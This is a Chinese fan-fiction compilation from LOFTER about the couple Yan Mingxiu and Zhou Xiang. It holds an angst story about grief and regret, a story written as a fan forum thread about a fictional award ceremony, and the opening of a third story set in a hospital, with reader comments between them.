这就是我心里的翔哥,豁达潇洒,说爱就爱,不会因为过去的事责怪。在我看书时就觉得晏明修除了家世、相貌,真的一个手指都配不上翔哥。翔哥性格太完美了,这样性格的人到哪里都有人帮助他,就像文里的导演,见面不过几天就开始对翔哥说心窝子话。翔哥这种人真的神奇,有一种魔力让你不由自主的信任他。晏明修当然还困在过去里,自责内疚都是他应该要经历的,他本来就像没有长大、思想不成熟的孩子。以前做了过分的事,现在患得患失是正常的,何况是面对翔哥这种魅力天菜,但是其实也没什么,他们会磨合好的,翔哥不为外人知道的缺点、脾气,晏明修会遇见的,而晏明修会走出来,他们会长久的在一起。
19. 海底
鹿青崖
From LOFTER
【晏周】 《海底》
-是空窗期
-文中涉及奖项为虚拟
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来不及来不及 你颤抖的手臂 来不及来不及 无人将你打捞起
金象奖颁奖典礼结束后已是深夜。
姜皖载着晏明修缓缓驶入无边的夜色里,车窗外的月光朦胧的笼罩在晏明修的脸上:“回我家。”
晏明修口中的家姜皖是知道的,并非是晏家的老宅。不大,大概也就七十多平,甚至还有些老旧。姜皖刚开始给晏明修当助理的时候,见到晏明修居然住在这么个房子里的时候惊讶得差点把舌头咬下来。
他有点想不明白为什么有时候晏明修会选择这么一个陈旧的地方,但是他不太敢问,觉得那是一个他不能轻易触及的地区。
“那部电影…真的很好吗?”就在姜皖以为这一路都会安安静静的过去的时候,晏明修在后面突然开口问道。
“挺好的。”姜皖仔细的斟酌着语气:“提名了最佳影片和最佳导演呢,您不还提名了影帝嘛。”
姜皖一边开着车一边琢磨,这是因为没拿到影帝不高兴吗?但是同期竞争的那几个演员要演技有演技要资历有资历,晏明修能提名就已经很优秀了,不至于想不开吧?
“真的吗?”晏明修追问道。
晏明修虽然年轻,但是骨子里的精明练达是许多同龄人都比不上的,姜皖见惯了他冷淡稳重的模样,如今这样非常不自信的询问让他感到十分意外,却也妥帖的回答道:
“票房足7个亿呢,您又不是没看见,那几个老总都高兴成什么样了,这可是今年最卖座的电影啊!”
姜皖越说底气越足,仿佛他也在里面演了个什么重要角色一样,几近手舞足蹈:“而且再过一个月这电影就要在别的国家上了,当然是好得不得了啊!”
晏明修没有再问下去。姜皖微微松了口气,二人再度陷入沉默。
会好吗。晏明修在心理轻轻的问道。
两年了。
他踏进娱乐圈已经两年了。
可是距离周翔失踪,也有两年了。
他想着,只要自己足够火,足够优秀,周翔就会看到他,如果周翔能够看到他,说不定会…
会怎样呢。
周翔已经不要他了。
他也找不到周翔了。
姜皖把他送到楼下后晏明修就让他离开了。他抬眼看了看这扇熟悉的房门,深吸一口气后缓缓推开了它。
这两年来他幻想过无数次,就在他推门的时候,迎接他的不是一室的黑暗和冷寂,而是那个他无比熟悉的身影。
周翔回来了,尽管他怪着他,恨着他,可他还是回来了。他或许是因为什么别的理由回来的,可无论是什么理由,只要他回来了……
只要周翔能回来,能回到他身边,他愿意付出任何代价。
可惜这个代价,没人叫他付。
在金象奖的颁奖典礼上他见到了蔡威。
蔡威的那家演艺公司最近发展的格外好,能在金象奖这样盛大的典礼上见到蔡威,晏明修并不意外。
但是蔡威明显不想见到他。
娱乐圈说大不大说小不小,可是但凡两个人碰上了,蔡威是从没什么好脸色的。
晏明修也没有。或者说,他对着旁人总是那副冷冰冰的样子,只对着一个人是例外的。
其实在某些时刻,晏明修心里或多或少的会有些期盼见到蔡威。他盼着能从蔡威口中听到周翔的名字,听到一两件有关周翔的事。
即使见不到周翔,可是如果身边有个能陪他说说周翔的人,其实也称得上是件好事。
可惜蔡威和周翔一样恨着他。
仿佛在晏明修面前提及周翔,都是对周翔的一种羞辱。
仔细想来,蔡威是当着他的面提过周翔的。
只不过都不是什么晏明修愿意听到的好话。中心思想除了晏明修你是个害死周翔的凶手之外剩下的就是晏明修你什么时候把周翔家的钥匙给我。
没别的了。最初晏明修还会极力反驳蔡威,嚷嚷着周翔还没死这样的话,可是当他看到蔡威那副恨不得拉着他给周翔陪葬的神情的时候,他忽然便被抽光了全部力气。
蔡威有句话说的是对的,他害了周翔。
他害了他喜欢的那个人。
有些时候我真想不明白,翔哥他喜欢你什么?
那是一场盛大的年度盛典。晏明修来领奖,兰溪戎居然也来了。颁奖典礼落幕后,空旷无人的走廊里,他与兰溪戎擦肩而过时听到对方这样问他。
晏明修顿住了脚步。
我看你为他疯成这个样子,我倒是奇怪,你又喜欢翔哥什么?兰溪戎转过脸来看他,声音很低,却又那么嘲讽,你该不会只是喜欢翔哥对你好吧?要是这样你去找个保姆多好啊?
晏明修不回答他,漠然离去。
他不喜欢和别人分享周翔有多好,有多值得他喜欢。
周翔是晏明修的宝贝,是不可以随随便便拿出来给外人看的。只有在夜深人静的时候,晏明修躺在床上,把周翔的枕头抱在怀里,那上面有周翔的气息,他抱着抱着,就仿佛又见了周翔一面,又一遍遍在心里翻腾起有关周翔的所有。
周翔的温柔,周翔的微笑,周翔举手投足时的落落大方,周翔悲痛到极点时的泪如雨下。晏明修一遍一遍的回忆着,心脏处密密麻麻的痛起来,好像是要一点点蚕食掉他的灵魂。
周翔这个人素来开朗热情又坚强温柔。晏明修与他呆在一起总是觉得格外的舒服。晏明修从小到大见过的人,无一不因着他是晏家的小少爷而对他格外高看,却唯独到了周翔这里是例外的。
周翔待他好,只因着他是晏明修,而不是晏家的晏明修。
而他爱周翔,也不是因着那个酷似汪雨冬的背影,只是因为周翔是周翔。
可惜等到晏明修明白这些的时候,已经太迟太迟了。
下第一场雪的时候,晏明媚给他打了个电话,语气里满是责备,埋怨他总也不回家让妈妈担心,并且让晏明修回家来吃饭,说是汪雨冬也在。
晏明修自然是拒绝的。
不久汪雨冬也给他打电话,被他直接按掉了。
晏明修没有再理会这些事情,他亲了亲周翔留下的枕头,给姜皖打了个电话。
他今天要去一个大导那里客串一个角色。晏明修在车上看着剧本,是部古装剧,讲的是一个坐拥天下的帝王在失去了发妻之后,四处寻找与他发妻酷似的女子接进宫来。可是那时他爱的人已然死去,爱他的人被他当做替身工具得知真相后悲愤自尽。最后他一个人在深宫中孤独的老去,茕茕孑立,形影相吊。
晏明修看着看着,默默的闭上眼。
他要客串的那个角色,是个与着帝王一起长大的将军之子。后来帝王猜忌之心愈发严重,最终将其赐死,是个蛮悲情的角色。
其中一场戏便是他站在大殿上与帝王对峙,二人你来我往唇枪舌战。
帝王说他功高震主居心叵测,他要说帝王寡情心狠冷漠无常。
他还要指责那位帝王,视人心如草芥,白白辜负了爱他之人的一番真情厚谊。
晏明修的演技不可谓不好,只是这场戏他NG了太多次,导演的脸色也愈发难看了起来。
可晏明修的脸色看上去的比导演的还要难看,唇色苍白,额头上渗出冷汗,像是随时随地都会倒下。最后导演到底看在晏家的面子上,大手一挥让晏明修先去休息了。
晏明修在车里一言不发,姜皖忐忑不安的看着他的脸色,绞尽脑汁的想着该说点什么。
“我不拍了。”晏明修突然开口。
姜皖傻眼了,虽然剧组那边没彻底官宣,这也是晏明修进组以来拍的第一场戏不用担心换演员还要重拍之类的事,可到底对方是个大导,得罪了终究不太好。
“您这就是没发挥好,别往心里去,再说这可不是说不拍就不拍的事,到时候您撂挑子了,电影上映了拿什么赚人气啊……”姜皖试探着开口。
“把宋居寒找来,他人气也高,这电影也不损失什么。”晏明修打断了他的话。
姜皖看着晏明修那副决绝的样子,只得任命的答应了,转头给小松打电话。
晏明修在心底嗤笑了一声。
他哪有那个脸面去指责人家负心薄幸?是他拿着周翔的真心当玩具玩儿,还把人家当替身。作践人的人是他,害人的人也是他,他没那个资格去做那个占据道德高地义正词严的责备旁人的人。
他才是那个最冷情的帝王。
姜皖打完电话回来,看着晏明修欲言又止,最后憋了半天还是忍不住问道:“您是真的不想演了吗,这可是个难得能和张导合作的好机会……”倒不是姜皖磨叽,实在是晏明修的举动有点反常,他从前演戏也有NG的时候,可是哪一次都没像现在这样打定主意不演了。
晏明修答非所问,声音很低,像喝醉了酒一样:“…我从前做错了许多事。”
姜皖猛地屏住呼吸,不敢追问。
晏明修再次踏进家门。
他从前没发现过周翔的小心思,在他眼中,睡衣就是睡衣,杯子就是杯子。直到周翔离开后他才发现,周翔在家中布置的这些东西无一不成双入对,无一不是周翔给他的暗戳戳的浪漫。
可惜那时的他错过了。
现在的他求不得。
他把周翔的睡衣抱在怀里,手里握着周翔的杯子,靠在周翔最喜欢的那个抱枕身上。恍如充电一般把自己缩成了一个团儿,好像这样就能得到一点力量,让他有勇气去面对这个找不到周翔的世界。
他在沙发上躺了下来,自顾自地开口:
“翔哥,我又有一部电影要上了,你到时候会看吗?”
“你是不是还是很生我的气,我要怎么做你才会不生气?”
“你还喜欢我吗?”
晏明修越说越小声,越说越委屈,好像当初被活生生作践了真心的那个人是他一样,他的声线里有多种情
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愫起伏,最终归为一声长叹:
“翔哥,我还会再见到你吗?”
“你过的好吗?”
他在沙发上睡着了,是他大哥打来的电话将他吵醒的,他睁开眼的时候四周一片漆黑。晏明绪的声音则很是严肃,几乎刺穿了这个漆黑的夜:“你现在真是越来越不像话了!你都三个月没回国家了!你到底什么时候回家?!”
晏明修不清醒,只听见了回家两个字,这让他想起了那时他打给周翔的电话,那时的他,嘴里没有一句温柔的好话。
他也是这样的语气,不,比这样的语气恶劣千万倍,他问周翔,你什么时候回家。
那时的他就像现在的他一样,在漆黑无人的夜里,傻兮兮的等着周翔回家。
可是周翔不回。周翔不理。周翔不在。
“他没回来……”晏明修的语气颤抖起来,一遍又一遍的重复着,像是要说出积压在心底许久的疼痛与不甘,委屈与惶恐:“他没回来,他不肯回来……”
晏明绪沉默了片刻,终于开了口:
“别哭了。”
晏明修茫然的抚上脸颊。他哭了吗,他怎么又哭了呢。周翔刚出事的那段日子里,他找到蔡威,把他的办公桌拍的震天响,怒吼着质问蔡威为什么要给周翔介绍那么危险的工作。
蔡威冷笑着开口,眼睛却红了:
“那当然是因为你啊晏少爷。”
晏明修愣了片刻,一个反驳的字也说不出来,有什么温热的东西堵住了他的喉咙,连带着心脏也跟着疼。
他们争执的声音引来了兰溪戎,兰溪戎快步走过来一把将他推到地上,他的眼睛和蔡威的一样红,一样的盛满了愤怒和憎恨,在四目相接的刹那,兰溪戎的语气里却又充满了嘲讽:
你是在为翔哥哭吗,你不配。
晏明修闭上眼。从前周翔在他身边的时候他没来得及对他好,如今周翔不在他身边了,他却连为他痛哭一场的资格都没有。
于是他开口反驳:
“我没有。”
晏明绪也不拆穿他,声音放得温和了许多:“找时间我带你去我师父那里再拜访一下吧。”
晏明绪嗯了一声。
兄弟二人沉默了一瞬,晏明绪在那边深深的吸了一口气,最后仿佛下定了决心一般,低声问道:
“如果能再见到他,你想过要怎么做吗?想过,要对他说些什么吗?”
也许只有这画大饼一样的幻想能救救他这个已经快要绝望了的弟弟了,晏明绪低叹了一声。
他不指望晏明修能回答他,他只期盼晏明修的幻想能是甜的,能稍微救他一救,能让晏明修不至于无药可医,生不如死。
而电话那一端的晏明修吸了吸鼻子,声音里满怀希冀与憧憬,听起来他这个人似乎好了一点,又好像更糟糕了:
“我想和他重新开始,和他说我爱他。”
这句话很轻很轻,轻得仿佛怎么也飞越不过十万大山,去慰藉那砂石泥土下的白骨累累,又好像很重很重,重得让一个人无法呼吸,无法与爱人魂梦相接,生死相许。
好像无论怎样都那么徒劳,那么苍白无力。
晏明修心知肚明。
于是他自嘲的笑了一声,反过来安慰他的大哥:“我明天会回家的,不让妈担心,你放心吧。”
随即他故作轻快的挂断了电话。
他将周翔的睡衣和杯子放回原处,抱枕摆的整整齐齐,就好像周翔从没离开过那样。对着虚空处微笑起来:“翔哥,我回来啦。”
我假装你还在,假装我们依然同居。从现在开始模拟与你同居的生活,我会学着爱人,保证在你回来的那天,给你最好,最纯粹的爱。
我还要对你说我爱你。
永远爱你。
-完-
----------------------------------------
注:黑体为歌词
?
二次元の无耳兎
一直觉得前一世翔哥不在了而晏美人终于清醒过来的时候,在他们的家里每发现一对找到翔哥布置的成双成对的日用品,心里都会甜一点点的同时狠狠一抽,觉得又找到了翔哥真的很爱自己的证据,所以翔哥原谅自己回到身边的可能性又大了一点,但也是自己不珍惜辜负翔哥的证明,翔哥不原谅自己不愿意回来的可能性也大了不少…
83
?
懒蓝
客串那里,其实何尝不是百般滋味,就像是站在翔哥的角度去质问以前的自己,这让晏明修怎么能够心安理得地演下去,多说一句台词自己心里就会在“翔哥不会回来了”的命题上加一分可能,现实太残酷了,死别总是让人看不到未来
44
?
闲哉
眼泪将出未出。没有那么歇斯底里,但是足够深刻。太太把两个人的性格琢磨得真的透,以前的晏明修倒也不是故意看不上周翔,他只是没在意,那句在他眼里睡衣就是睡衣杯子就是杯子,再到后面与之呼应的抱着睡衣入睡……荡气回肠。太绝了。
20. 周翔今天会拿影帝吗
鹿青崖
From LOFTER
【晏周/寒故】论坛体《 周翔今天会拿影帝吗》
-与前篇《海底》有点点联系 主晏周副寒故
-文中涉及奖项为虚拟
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第xx届金象奖颁奖典礼将于今晚举行,恭喜周翔携《倾国》入围最佳男主角,另外恭喜同剧组演员晏明修携《倾国》入围最佳男配角。
1L
恭喜周翔哥哥提名影帝!风国师永远白月光,我还可以再刷这部电影三百遍!!
2L
纯路人,周翔演技真的绝。国师含笑饮毒酒那一幕我在影院真的哭出声,然后又刷了三遍哭了三次
3L
周翔是科班出身吗?我记得以前他好像就是给杂志拍拍照片?这哥演技真的可。
4L
恭喜明修哥哥提名最佳男配!晏粉永远为你骄傲!
5L
不是……晏明修都沦落到给周翔做配了?
6L
Ls什么意思啊?晏明修那个扑克脸来给我家做配是我们赔了好吗?就他那个演技?还有这不是讨论我家的帖子吗?晏粉没家?
7L
Ls你又什么意思啊?你真的给你家哥哥贡献票房了吗就来这乱叫?明修哥哥的小皇子简直我一生白月光好吧?这演技还赔?你怎么不叫奥斯卡影帝给你家做配啊?
8L
所以我还是忍不住歪个楼,晏明修那张万年冰山脸演的到底怎么样?
9L
我来说!晏明修这次演的真的好,一点不冰山,你们看过《倾国》那个花絮没?我真不敢信那个对着周翔笑得一脸傻样的是晏明修。
10L
所以他在电影里也是一脸傻样不是吗,什么事都要国师教
11L
最后国师还为了他死了……我真的呜呜呜呜国师就是坠好的!!
12L
平心而论,周粉也觉得晏明修一点都没拉跨,最后为了给国师报仇手刃反贼登上帝位那几个片段真的演的太好了,感觉国师虽然死了,但是他是真的活在小皇子心里的。
13L
是真的!!花絮里小皇子抱着国师的尸体,就是晏明修抱着周翔哭那里,我觉得晏明修哭得都快撅过去了,周翔后来好像一直在拍他的后背哄他才给他哄好的。
14L
何止拍后背,又搂又抱的还不停叫名字。
15L
所以晏明修当时是真的入戏了
16L
所以剧本为什么这么虐!!为什么!!!害我明修哥哥哭好久
17L
我吃过一个瓜好像是说这个剧本后来被大改了,因为导演觉得戏剧冲突不够强,小皇子夺帝位的理由不够充足,就把对小皇子最好的国师写死了,促使他黑化
18L
说白了就是给晏明修加戏呗,切
19L
LS有病?我家除了开头和几段插叙有多余镜头吗?还有我家哥哥为啥要加戏?他自己什么电影男主不能当,非得在周翔电影里加戏?
20L
说真的……晏明修好像这一年就只在周翔的电影里演过配角……
21L
我忍不住冒死喊上一句,燕窝粥is rio !!!!!
22L
晏明修也给宋居寒的新歌MV里当过男主角,我要不要说含羞草SZD啊?
23L
楼上蟹脚叉出去,寒故99
24L
宋居寒是不是也会来出席金象奖?我看宋居寒给《倾国》做的BGM提名了最佳原创配乐
25L
我屮艸芔茻含羞草燕窝粥是不是要世纪同框了!!
26L
楼上有病?Cue什么含羞草?宋居寒早官宣何故了,演唱会出柜退居幕后是闹着玩儿的?
27L
Cue燕窝粥的有病?我家和他家都打成什么样了?周翔请独立行走别做挂件谢谢合作
28L
不是有句话说,你骂我我骂你,我们哥哥……
29L
我胆子大我来!睡一起!
30L
27L有病?人参公鸡?周翔去年拿了华宇奖视帝金溪奖视帝,你骂他做挂件?疯了?
31L
你家哥哥今年提名的金象影帝我家哥哥几年前就已经提名了谢谢
32L
然而你家获奖了吗?没有
33L
说得像你家能获奖似的,拿几位同期老演员当摆设吗?
34L
所以说终于回归正题了,今年周翔能拿影帝吗?
35L
……还真不好说
36L
能,我觉得能,国师的温润如玉运筹帷幄我真的爱了。周翔眼神戏太好了真的。
37L
他演戏有一股纯纯的劲儿,就,干干净净的,不做作
38L
歪楼问一句,那你们觉得晏明修能拿最佳配角吗?
39L
他从前那个面瘫演技太深入人心了,未必
40L
Ls胡说!!小皇子是真的演得好,雨夜复仇那个抬眼我看一次没一次
41L
周翔的国师台词我还可以再听三百遍!!
42L
国师的颜我也可以再舔五百次!!
43L
晏明修那个脸我也真的服,女娲造人的时候就好好捏他了吧?
44L
你们看过某站的晏明修单人剪辑没?我看见弹幕说,长这么好看我真的没法黑笑死我了
45L
哈哈哈哈这哥靠脸反黑
46L
其实我希望《倾国》的奖项能来个大包大揽,真的好看,我一个人就看了五遍,17亿票房我真的觉得都有点少了
47L
后期宣发有点没跟上,其实已经很好了,周翔头一次挑大梁,真的真的很不错
48L
说到这个我想起来,宋居寒为《倾国》做过宣传,还包场请粉丝看电影
49L
含羞草……算了寒故szd,他俩还一起看了首映
50L
真的假的?
51L
真的,宋居寒在微博发的,还艾特了晏明修让他报销一下电影票钱
52L
然后明修就回了一句,信号不好我看不见hhhhhhh
53L
李涛,你们说周翔和晏明修谁演技更好?
54L
Ls别装路人了,一看就是来挑的,他俩现在都不构成竞争关系,什么时候他俩一起争影帝了什么时候再讨论吧
55L
我真不太明白,为啥他两家粉丝老掐架啊?我在微博上总能看见
56L
周翔挂件咖我究竟要说几次?
57L
晏明修卖腐咖用我重复?
58L
瞅瞅,干架都这么整齐,看来你两家szd
59L
其实没啥别的原因,就是周翔演的电影电视剧晏明修也会出演,晏明修主演的电影电视剧周翔也会客串,然后俩人在花絮里特别亲热,微博也总互动,就被组cp了,粉丝不乐意了,都觉得对家卖腐吸血蹭热度
60L
晏明修真卖腐咖,从前拉着宋居寒现在拉着周翔
61L
楼上勿cue我家,居寒哥哥已婚OK?
62L
我当年真的以为含羞草才是真的,于是蒸煮在演唱会上给了我狠狠一耳光
63L
但是含羞草某种意义上说确实是真的,他们真的是好朋友。宋老师给我家电影做配乐好像从来都不要钱。我家也总去宋老师新歌MV里客串,也是免费的。
但是寒故也是真的真。狗仔都不知道拍了他俩多少次了,就是不敢放何故正脸
64L
燕窝粥也真!我忘不了去年年度盛典的时候晏美人居然是挽着翔哥走的红毯!!!
65L
当时主持人连话都说不利索了,一看就是一场突如其来的主持劫难hhhhhh
66L
关键是周翔居然真的让他牵!!还对他笑!!太宠了吧!呜呜呜呜哥哥都没对粉丝这么笑过
67L
他俩之后走红毯的是兰溪戎,小兰同学一脸吃了苍蝇的表情hhhhh
68L
纯粉当时看见这一幕真的不知道这个糖该怎么洗,我真想知道我家冷冷清清晏美人去了哪里,那个一脸憨笑的真的是我家明修吗!
69L
姐妹们入股燕窝粥吧!!入股不亏!蒸煮撒糖!!比如我穿着你的上衣拍自拍,你在我的房车里拍Vlog什么的!
70L
你们是不是歪楼了?……
71L
啊这,我火速打开电视机,坐等我家翔哥拿影帝!
72L
不说了,我要洗洗脸看金象奖直播了
73L
有没有好心人剧透一下现在到哪一步了?救救孩子吧网太卡了……
74L
现在走红毯的是庄捷予,他好可爱啊!
75L
兰溪戎这一身好飒!
76L
我天,宋居寒走这么早红毯吗?我还以为他压轴啥的……
77L
靠,又被秀了
78L
怎么了怎么了?让我听听让我听听!
79L
主持人问寒哥接下来有什么打算吗,寒哥说去后台看我家宝宝
80L
这个男人一天不秀会死?
81L
因为何故在后台等他吧,他才这么着急走红毯
82L
看看宋天王的盛世美颜。真能打。
【图片】
83L
这个五官真的绝了,我死得明明白白
84L
所以你们什么时候才能把楼正过来?所以翔哥到底什么时候走红毯?
85L
我家晏美人呢?我家那么大一个晏美人呢???
86L
啊啊啊啊啊啊啊啊啊啊!!翔哥!!!!白西装我死了我死了
【图片】
87L
我去我去!!!!!晏明修!!!他又牵周翔走红毯!!!
【图片】
88L
章小礼那个尬笑我真的……
89L
所以到底发生什么了?
90L
好像是本来是章小礼和周翔走红毯,晏明修和一个影后前辈走红毯,但是那个影后前辈好像临时有事没来,晏明修就去牵周翔了
91L
给女孩子晾在那自己走不好吧……
92L
要不然也轮不到她和翔哥走红毯好吧!本周粉真的气死,《倾国》里有章小礼戏份?主办方摆明了就是要章小礼蹭翔哥热度!!
93L
真的,我宁可翔哥和晏明修走也不让翔哥和章小礼走!章小礼怎么混进来的都不知道呢!!
94L
晏粉不知道说啥,算了,毁灭吧
95L
他俩还一直牵着!主持人问周翔,牵这么紧是因为《倾国》里没有女主角吗,然后周翔笑着说明修不就是女主角吗
96L
论泥还是你翔哥会泥
97L
我站反了?不可能啊?晏美人多攻啊?燕窝粥不拆不逆谢谢
98L
你这话说的,周翔不攻?WE那组照片A得我想跪下叫爸爸
99L
晏美人188谢谢
100L
周翔那一身肌肉会是受?那武打动作自己上会是受?
101L
晏美人188谢谢
102L
看看翔哥这红毯照!这个回眸多A啊我天!!我站他攻
103L
晏美人188 谢谢
104L
……你们怎么又跑偏了?颁奖都要开始了你们cp粉开始唠攻受了?真是看纯粉都不在你们就敢舞了
105L
把宋居寒牛逼打在公屏上!!
106L
第三次拿金象奖最佳原创配乐了,你天王还是你天王
107L
别歪楼别歪楼
108L
不好意思不好意思
109L
宋居寒又双叒叕cue何故,朕真的不想再吃狗粮了
110L
又歪了又歪了!!
111L
Hhhhhh你们看宋居寒cue何故时周翔那个姨母笑没
112L
周翔真的笑得好可爱,晏明修……算了,他就是在看着周翔笑
113L
快要最佳男配了!
114L
我押晏美人!
115L
114L叉出去买彩票吧,晏明修获奖了
116L
镜头为啥要给到周翔啊?
117L
翔哥真的笑得好开心,比自己得奖还开心,kdlkdl
118L
晏美人是和宋居寒学的吗?为啥都要cue自己老婆?
“谢谢翔哥带着我一遍遍的对戏,在我入戏的时候陪着我安慰我,让我觉得又温暖又安全。”
119L
来来来,把我这个cp粉杀了给哥哥们助助兴
120L
姐妹大可不必hhhhhhhhh
121L
晏粉累了,这糖咋洗
122L
咽了吧咽了吧挺甜的并肩称王入股不亏
123L
最佳女主宣了,最佳男主就要来了!
124L
押周翔!
125L
周粉在此补一句,如果哥哥没拿奖,大家也不要去哥哥微博下面乱说话,提名即肯定,大家别贷款丧
126L
楼上粉丝过谦了,你家哥哥拿影帝了
127L
啊啊啊啊啊啊啊啊啊周翔!!周翔yyds!!!!!
128L
我永远爱周翔!!!!!!!啊啊啊啊啊啊!!
129L
啊啊啊啊啊啊啊我太激动了我嗷嗷哭,比我当时自己考上x大还高兴
130L
哥哥站起来去领奖啦!!!我家哥哥就是影帝,今晚我坐等酸鸡跳脚!
131L
燕窝粥is rio!!
132L
121L的晏粉,本周粉也累了,毁灭吧
133L
“我特别要感谢明修,我看到有很多小朋友说,风国师是他们的白月光,但是我想说,多亏了明修,才会有这样的国师,多谢他一直陪着我对戏,鼓励我可以演好这个角色。”kdlkdl谢谢谢谢
134L
别问,问就是晏周绝美爱情,再次
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为周影帝鼓掌,为《倾国》鼓掌,再说一次《倾国》值得,晏周值得
135L
真不理解你们,当友情磕不好吗,非得是爱情?
136L
友情是含羞草那种,你看看当时周翔发言,宋天王那一脸姨母笑,你还会觉得含羞草是真的?
137L
宋天王表示:kdlkdl
138L
周翔真的棒,他这个年纪就能拿到金象奖真的很不容易
139L
周粉谢谢大家的肯定,同时提醒看到这个帖子的周粉,不要浪,低调低调
140L
还有人看这个帖子吗
141L
有
142L
+1
143L
我去!你们看!!这好像是ss拍的吧,颁奖典礼结束了之后周翔好像上了晏明修的车!!
144L
先骂一句ss再问一句周翔没自己车吗要蹭我哥的?
145L
真好笑,高糊的图,说什么信什么,我哥缺那一辆车?
146L
看看那上衣牌子再看看那背影,不是你们哥哥我直播吃屎
147L
就算是周翔,他真上了晏明修的车,那又咋了,哥俩好一起回去不行还是绝美爱情小情侣一起回家不行?
个别粉丝就是管的宽,真把自己当女友粉了
148L
你们这时候应该指责ss吧?吵什么架啊
149L
新瓜:他俩那车差点被ss追尾。Ss真的可恶
150L
周翔发微博了:
@周翔v:谢谢评委老师,谢谢《倾国》剧组,我会继续努力的!下次还来!
【图片】【图片】
151L
呜呜呜呜呜哥哥的自拍!宝贝早点休息自拍明天发也行的!!希望宝贝没有被ss吓到
152L
晏明修也发微博了:
@晏明修v:感谢金象奖,感谢《倾国》
【图片】
153L
所以只有奖杯证书没有自拍是吗,羡慕周粉,我酸了
154L
我去!工作室警告ss了!!:
@晏明修工作室v:
【图片】
155L
周翔家也是:
@周翔工作室v:
【图片】
156L
所以晏美人是因为差点被ss追尾心情不好才没发自拍吗(我瞎猜的,你骂我我就滑轨)
157L
两家工作室还互相评论,好好笑啊。营业时一本正经警告私生,背地里互相调侃对方老板
158L
晏家:看起来周老师也没睡
周家:您家没睡我们怎么可能睡
159L
是官宣吧!是官宣吧!Ss没妈是真的吧!!
160L
我天!
晏美人!!!!补了九张自拍!!
161L
严谨点,八张,最后一张是和周翔的合影
162L
@晏明修v:今天也见到了最想见的人
【图片】【图片】【图片】
【图片】【图片】【图片】
【图片】【图片】【图片】
163L
对不起我忍不住cp脑了,所以翔哥是和明修在一起呢对吧!是不是他哄着明修发的自拍啊,哪有得了奖不自拍的明星!
164L
很难不赞同
165L
晏周szd!!!!!!!!
166L
我忍不住幻想了一下翔哥那个语气:拍一张嘛拍一张嘛,明修那么好看也给小姑娘们看看
然而明修:对不起,我只想给翔哥看
167L
好晚了诶,那拍完自拍就是小情侣的午夜……
咳咳
168L
别说了,你翔哥已经在某站给明修生了一个足球队了
169L
这楼真是越跑越偏……
170L
算了算了,奖都领完了,就当聊天楼,大家畅所欲言吧
171L
那我可说了,晏粉看开点吧,当年你们打不过含羞草,结果含羞草BE了,现在燕窝粥打不过你们,四舍五入燕窝粥HE了,一报还一报
172L
说到含羞草,我寒终于发微博了:
@宋居寒v;感谢金象奖,感谢《倾国》,感谢我的爱人,感谢他赐予我灵感
【图片】【图片】
然而一百年过去了,我还是不知道何故长什么样,宋居寒真小气
173L
宋居寒分享的何故和马赛克没有区别,不过轮廓看上去就已经很好看了
174L
回一下171L,晏粉其实看得开,晏明修和谁在一起也不会和粉丝在一起,就是有些粉丝极端罢了
175L
周粉也是,哥哥喜欢谁我都无所谓,只要他喜欢就好了
176L
晏周粉想说他俩真的真,你就看今天红毯上那个眼神,晏明修用这样的眼神看过谁!
177L
看过宋居寒……含羞草不认输!
178L
不对,你看晏明修的眼神是真的温柔,特别特别温柔,我对象也这么看我真的
179L
明白了,你对象想和你做兄弟【狗头】
180L
【图片】【图片】还有你看,周翔这衣服明显不是自己的,袖子长了一截!那是晏明修的!!
181L
共享衣柜,绝美眼神,我就看看你们还要说啥
182L
【图片】【图片】这两张自拍明显是在一栋房子里,背景都一样!!还有177L那个你有事吗?忘了当年寒哥晒和咕咕的合照,你们在下面舞被蒸煮怼了?
183L
本寒粉没忘,我哥当时:我和明修就是朋友,别瞎说。
184L
晏粉能接受燕窝粥也是因为她们从来不乱舞,圈地自萌,其实好多含羞草也很消停的,就是极个别脑残。总的来说就是其实蒸煮都没什么毛病就是有些粉丝脑残
185L
周粉一向粉随蒸煮看得开,只要哥哥高兴,他和谁在一起都行,真的
186L
我去!!!燕窝粥搞到真的了!!
187L
寒故粉发来贺电,我寒简直吃瓜第一线,晏老师微博下热评稳稳的,虽然只有那个鼓掌的表情,寒故粉祝晏周99
188L
@晏明修v:我握住了我的整个世界
【图片】
@周翔v:我的世界是你
【图片】
配图是一模一样的,两只手十指紧扣,暖黄色的灯光下,一片温情与美好。
189L
我人傻了
190L
分享一下:
周翔微博下的热评第一:
@晏明修v;我不喜欢被人窥探我的生活我的爱人,所以借此机会我要对着全世界说,翔哥我爱你,我要永远和你并肩站在一起
周翔回复:我也爱你
?
药研藤四郎
hhhhhhh你骂我,我骂你,我俩哥哥睡一起
139
?
丹若胜火
啊啊啊啊啊晏周szd!!!!!来人啊把我这只狗杀了给二位助助兴
21. 神话情话
鹿青崖
From LOFTER
【晏周】《神话情话》
*是婚后 可看作前几篇晏周文的后续
*欧欧西
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爱是盟约是习惯是白发也叫你我乍惊乍喜
晏德江平时是不去医院的。
老爷子身体好,顿顿能吃两碗饭,这次来也不过是看着要过年了,寻思把这一年积攒的小病小//灾疗养一下。这对于他而言也不算是什么大事,也就没告诉儿孙,自己带着保姆司机就来了。
午饭后晏德江在医院的走廊里遛弯儿,老爷子眼神好使,隔着老远就瞧见了周翔。
周翔还是老样子,生得俊俏,身形高瘦。他紧紧地搀扶着一个瘦弱矮小的女人,二人有说有笑,正向病房内走去。
能在这所医院里住的都不是一般人,非富即贵。以周翔个人的能力肯定是住不进来的,不用想也知道是谁帮了忙。晏德江远远的看着,见周翔把他妈妈扶到了病房里,又出来和主治医师说着什么,神色微微凝重了些,目光倒是十分温和,听得很认真,时不时地点点头。
等到周翔回了病房,主治医师往这边走的时候,晏德江叫住了他,问了两句话。
主治医师不敢怠慢,老老实实的都说了,说陈英的身体自从换了shen之后便好了不少,只是还需要精心养着,说到周翔的时候那医师稍稍兴奋了些,语气也轻快了:“哟,那大明//星脾气可好了,一点架子也没有,对他妈妈可体贴了,比那小姑娘心还细呢。”
医师不知道周翔和晏家的关系,自顾自的夸了好几句。晏德江认真听着,末了挥了挥手示意那医师接着办事去了。他慢悠悠的向前走了几步,好似不经意地一般路过了陈英的病房。
病房里的陈英正在病床上坐着看电视,周翔坐在一旁为她削苹果皮,雪白的果肉在周翔的指尖一点点露出来,他的动作细致又小心,时不时偏过头去问陈英几句,陈英都是满眼慈爱的瞧着他。母子俩偶尔笑语几句,周翔笑起来的时候活泼得像个少年,扶着陈英躺下休息的时候,动作也格外轻柔谨慎。
是个会体贴人的孝顺孩子。晏德江默默地点了点头。
